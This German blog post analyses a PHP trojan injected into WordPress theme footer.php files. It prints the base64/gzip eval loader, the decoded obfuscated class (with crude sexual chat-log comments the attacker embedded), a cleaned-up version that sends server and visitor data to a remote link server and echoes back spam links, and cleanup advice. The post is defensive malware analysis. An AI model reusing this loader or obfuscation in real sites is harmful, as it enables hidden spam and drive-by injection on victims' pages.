Über den Author / Internet / PHP Trojaner (Teil 1: footer.php Infektion)

PHP Trojaner (Teil 1: footer.php Infektion)

~6 Min. Lesezeit

Wieder einmal hat das anynome Web zugeschlagen und eine Installation von diversen WordPress Seiten mit PHP Schadsoftware infiziert. Dadurch das diese Schadsoftware das WordPress Backend beschädigte, ist es dem Besitzer aufgefallen und hat sich bei mir Rat eingeholt. Dabei sind mir viele seltsame Dateien aufgefallen.

Insgesamt waren auf dem Hosting des Besitzers ca. 60 infizierte Dateien, daraus konnte ich 4 unterschiedliche Trojaner entnehmen, welche ich hier gerne analysiere. Wichtig für alle Betroffenen solcher Einfallstore, man sieht die Menge der infizierten Dateien, dabei ist nur 1 Datei wichtig welche man übersieht und das komplette Hosting wird erneut infiziert.

footer.php Infektion

Unter allen WordPress Installationen was im footer.php jedes Theme war folgende Infektion zu finden:

eval(gzuncompress(base64_decode('eNqFVm1v01YU/it3USXiNg1+iZOmVTZBkxZYaas0aQsYWTfOTeLG8Y3s68ahQryI8dayaQJWpH3aB7qJia1DQhNCk4CNabCNCSa2shXtr+xcu6xJ6MCtbCf33POcc55znxPDwq6L9Ktnfl97sdR0zEXMCHIZZqbRpz//7vTq5sju/r0WpWXbtBfwMNqPLNOoozb1HESwY9ESiSFsl5Fnl2n4dQszoxbv3x26QRXPNphJbaRfuPnV7TurP/x4Ltqn3zrz853HwpJZib7jEqsyPLwFJwyHH/XNlx/cfBEVAH4GO7gmpSsGwDfgii.../+NfSizDaIVhVR4CSQONAV0uKxAYFJDHn+UFfBPio43LIGs+TsBYhrlmGHffAOcPSZsX7/OYVkEJk7yziFGjPWOEUZugUWqV4ZUsErTHc+GXBKqai6DgjS3ZLxHixHm3Bfz09NQc5nIy5xCXWaTDIbTnvwjCiFc=')));

Wenn man dies in ein lesbaren Code umwandelt, kommt dies heraus:

class _•„Ó¦Ù{private static$_Õ½‚—Ü;/*Bloodninja: I lick your earlobe, and undo your watch.*/static function _‰­®µ¹—ÄƇ($_²„˹Ê){if(!self::$_Õ½‚—Ü):self::_ÜÝ…­Ù();/*Sarah19fca: mmmm, okay.*/endif;return BasE64_DECOdE(self::$_Õ½‚—Ü[$_²„˹Ê]);}/*Bloodninja: I take yo pants off, grunting like a troll.*/private static function _ÜÝ…­Ù(){self::$_Õ½.—Ü=array("_\xd5\214¦¥Ñ\x8e"=>/*Sarah19fca: Yeah I like it rough.*/"TE\x39D\121UxT\121\x56\x42F","_\303\xb0€¨†×ª"=>/*Bloodninja: I smack you thick booty.*/"a\110R0cDovL\x33AzLndw\1312Fj\x61\x47UtYmx\166Z\062d\154ci5jb\x320v\132\x32V\x30bGlua3M\165c\107hwP2F\x77aWNvZG\1259bGF\x73YW\x78hND\x51\155c\x47FnZ\130Vy\x62\1040=","_–¦ß؇"=>/*Sarah19fca: Oh yeah, that feels good.*/"aHR\x30cDo\166\114w=\075","_µ”\xa1˜«ÁÊ"=>/*Bloodninja: Smack, Smack, yeeeaahhh.*/"U0VS\x56\x6bVSX\060\x35BT\125\x55=","_Ü\xc7\xaa\211\317Í\300°"=>/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmmm.*/"UkV\x52V\125\126TVF9\x56\x55kk=","_Œ‹ÑØȪˆÀ\323"=>"Jn\126z\132XJh\x5a\x32VudD0\075","_ÉØ\x93Ý¥\244‹Ì»"=>"\x53F\x52U\125F9\126U0VSX\x30\106HRU5\x55","_ÜŠ\xc1°—¦"=>"",);}}function _•Î֍„¥†ÅÛ($_‘±ÒˆŒ¯Ò€){$_·†Ú˜Å²Õ=CURl_INiT();cURL_SetoPT($_·†Ú˜Å²Õ,0105+017-021/*Sarah19fca: you like that?*/+-031/*Bloodninja: I peel some bananas.*/,0501+-0376/*Sarah19fca: Oh, what are you gonna do with those?*/- -01/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/-0104);cUrL_SetOPt($_·†Ú˜Å²Õ,(int)ROund(9956.5+9956.5),(int)rouND(0.25/*Sarah19fca: Peanuts?*/+0.25+0.25+0.25));CURl_SEtoPT($_·†Ú˜Å²Õ,(int)RoUnd(5001/*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/+5001),$_‘±ÒˆŒ¯Ò€);CurL_SETopt($_·†Ú˜Å²Õ,(int)rouND(3339.3333333333+3339.3333333333+3339.3333333333),_•„Ó¦Ù::_‰­®µ¹—ÄƇ("_ÕŒ¦\xa5ÑŽ"));/*Sarah19fca: What are you talking about?*/$_‚“°‡ÜΘ§=curl_eXEC($_·†Ú˜Å²Õ);/*Bloodninja: I'm spent, I jump down into the alley and smoke a fatty. I throw rocks at the cats.*/CUrl_cLose($_·mژŲÕ);return$_‚“°‡ÜΘ§;/*Sarah19fca: This is stupid.*/}$_—Ï‹›Œ=_•Î֍„¥†ÅÛ(_•„Ó¦Ù::_‰­®µ¹—ÄƇ("_ð\200¨†×Â\xaa").urLeNcode(_•„Ó¦Ù::_‰­®µ¹—ÄƇ("_–¦ß؇").$_SERVER[_•„Ó¦Ù::_‰­®µ¹—ÄƇ("_\265\215”¡˜«ÁÊ")].$_SERVER[_•„Ó¦Ù::_‰­®µ¹—ÄƇ("_Ü\307\xaa‰\317ÍÀ\xb0")])._•„Ó¦Ù::_‰­®µ¹—ÄƇ("_\214‹\xd1\xd8Ȫˆ\xc0\xd3").UrleNcoDe($_SERVER[_•„Ó¦Ù::_‰­®µ¹—ÄƇ("_ÉØ“Ý¥\xa4\x8b\xcc»")])._•„Ó¦Ù::_‰­®µ¹—ÄƇ("_\x81ÜŠÁ\xb0—\246"));echo/*Bloodninja: Stone Cold Steve Austin gives me some beer.*/$_—Ï‹›Œ;/*Bloodninja: Wanna Wrestle Stone Cold?*/

Schrecklich zum lesen und viele Sonderzeichen, welche verwirren sollen. Alle Classen und Funktionsnamen ersetzt und den Code mal schöner formatiert:

class CLASSE{
	private static $STATIC;
	/*Bloodninja: I lick your earlobe, and undo your watch.*/
	static function funct($was) {
		if(!self::$STATIC):self::ha();
		/*Sarah19fca: mmmm, okay.*/
		endif;
		return BasE64_DECOdE(self::$STATIC[$was]);
	}
	/*Bloodninja: I take yo pants off, grunting like a troll.*/
	private static function ha(){
		/*Sarah19fca: Yeah I like it rough.*/
		/*Bloodninja: I smack you thick booty.*/
		/*Sarah19fca: Oh yeah, that feels good.*/
		/*Bloodninja: Smack, Smack, yeeeaahhh.*/
		/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmmm.*/
		self::$STATIC=array(
			"_\xd5\214¦¥Ñ\x8e"=>"TE\x39D\121UxT\121\x56\x42F",
			"_\303\xb0€¨†×ª"=>"a\110R0cDovL\x33AzLndw\1312Fj\x61\x47UtYmx\166Z\062d\154ci5jb\x320v\132\x32V\x30bGlua3M\165c\107hwP2F\x77aWNvZG\1259bGF\x73YW\x78hND\x51\155c\x47FnZ\130Vy\x62\1040=",
			"_–¦ß؇"=>"aHR\x30cDo\166\114w=\075",
			"_µ”\xa1˜«ÁÊ"=>"U0VS\x56\x6bVSX\060\x35BT\125\x55=",
			"_Ü\xc7\xaa\211\317Í\300°"=>"UkV\x52V\125\126TVF9\x56\x55kk=",
			"_Œ‹ÑØȪˆÀ\323"=>"Jn\126z\132XJh\x5a\x32VudD0\075",
			"_ÉØ\x93Ý¥\244‹Ì»"=>"\x53F\x52U\125F9\126U0VSX\x30\106HRU5\x55",
			"_ÜŠ\xc1°—¦"=>"");
	}
}
function ta($re) {
	$toll=CURl_INiT();
	/*Bloodninja: I peel some bananas.*/
	/*Sarah19fca: Oh, what are you gonna do with those?*/
	/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/
	cURL_SetoPT($toll,0105+07-021+-031,0501+-0376- -01-0104);
	/*Sarah19fca: Peanuts?*/
	cUrL_SetOPt($toll,(int)ROund(9956.5+9956.5),(int)rouND(0.25+0.25+0.25+0.25));
	/*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/
	CURl_SEtoPT($toll,(int)RoUnd(5001+5001),$re);
	CurL_SETopt($toll,(int)rouND(3339.3333333333+3339.3333333333+3339.3333333333),CLASSE::funct("_ÕŒ¦\xa5ÑŽ"));
	/*Sarah19fca: What are you talking about?*/
	$wer=curl_eXEC($toll);
	/*Bloodninja: I'm spent, I jump down into the alley and smoke a fatty. I throw rocks at the cats.*/
	CUrl_cLose($toll);
	return $wer;
	/*Sarah19fca: This is stupid.*/
}
$end=ta(CLASSE::funct("_ð\200¨†×Â\xbe").urLeNcode(CLASSE::funct("_–¦Ø‡").$_SERVER[CLASSE::funct("_\265\215”¡˜«ÁÊ")].$_SERVER[CLASSE::funct("_Ü\307\xaa‰\317ÍÀ\xb0")]).CLASSE::funct("_\214‹\xd1\xd8Ȫˆ\xc0\xd3").UrleNcoDe($_SERVER[CLASSE::funct("_ÉØ“Ý¥\a4\x8b\xcc»")]).CLASSE::funct("_\x81ÜŠÁ\xb0—\246"));
/*Bloodninja: Stone Cold Steve Austin gives me some beer.*/
echo $end;
/*Bloodninja: Wanna Wrestle Stone Cold?*/

Warum der Hacker noch eine Story miteinbaut, keine Ahnung, aber ich hab diese drin gelassen…

Was macht der Code?

Der Code ruft folgende Seite auf und liefert gleich diverse Daten mit:

http://removed.com/getlinks.php?apicode=lalala44&pageurl=http%3A%2F%2Fmurawski.ch%2Fv%2Fxyz.php&useragent=Mozilla%2F5.0+%28Windows+NT+6.3%3B+WOW64%3B+rv%3A44.0%29+Gecko%2F20100101+Firefox%2F44.0

Dadurch sieht er nicht nur wer die Anfrage startet, also Google oder ein User, sondern auch von welcher Seite und wo die infizierte Datei liegt. Der Rückgabewert kommt entweder Spamlinks zurück oder nichts. ABER, der Trojaner ist einfach zu finden, da er den genauen String: <!– WordPressSEOPlugin -> in jede Installation schreibt.

Dieser Quellcode lässt sich dann über spezialisierte Suchmaschinenabfragen auffinden und so die Infektionen auffinden. Der Besitzer der Domain oben, bekommt bei jedem Seitenaufruf schön eine Meldung und kann eigene Blackhat-SEO Links, Drive-by-Viren oder JS Umleitungen ungefragt in die Seite einbinden.

Bereinigung

Da dieser Trojaner eine Datei von dem WordPress Theme befällt, kann die Datei nicht einfach gelöscht werden. Hier muss mit einem Texteditor die Datei bearbeitet werden und der Schadcode manuell entfernt werden. Hier sollte man den Hoster dringend informieren, dass er alle Dateien nach weiterem Schadcode untersucht, damit keine versteckten Trojaner irgendwo rumliegen und zu einer erneuten Infektion führen!

Hinweis: Alle Codes und Links wurden unschädlich gemacht und sind nicht mehr funktionsfähig in diesem Beitrag.

About Stefan

avatar
Ein männlicher IT Nerd, durchstöbert das Web nach speziellen Gadgets, unentbehrlicher Software und Alles was man im IT Sektor nicht verpassen darf.Immer hilfsbereit wenn Probleme zu lösen sind oder das Unmögliche umgesetzt werden sollte.

Weitere interessante Artikel

PHP Trojaner (Teil 4: Codierte Uploader Infektion)

~2 Min. LesezeitNicht jeder PHP Trojaner kann auf den ersten Blick identifiziert werden, was der …

PHP Trojaner (Teil 3: Spamsender Infektion)

~1 Min. LesezeitSpam ist ein grosses Problem der heutigen Zeit, doch wer verschickt Spam und …

4 Kommentare

  1. avatar

    Noch wichtiger als die hier genannten Dinge wie Bereinigen und Hoster informieren sind in meinen Augen zu wissen wie man sich das eingefangen hat. Es bringt alles nichts wenn der Server etc. weiter offen wie ein Scheunentor ist. Die Lücke schließen muss oberste Prio haben.

  2. avatar

    Geb ich dir klar recht, weiterhin alle Passwörter zu ändern etc muss klar auch auf dem Programm stehen.

  3. avatar

    Und warum sind die WordPress files mit Schreibrechten auf einem Produktiv-Server?

  4. avatar

    Kein Hosting auf meinen Plattformen, ich bin nur eingesprungen. Doch leider sind viele der Billighoster von dem Problem betroffen, wo ich mehrfach darüber geschrieben hatte.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

eMail-Benachrichtigung bei weiteren Kommentaren.
Auch möglich: Abo ohne Kommentar.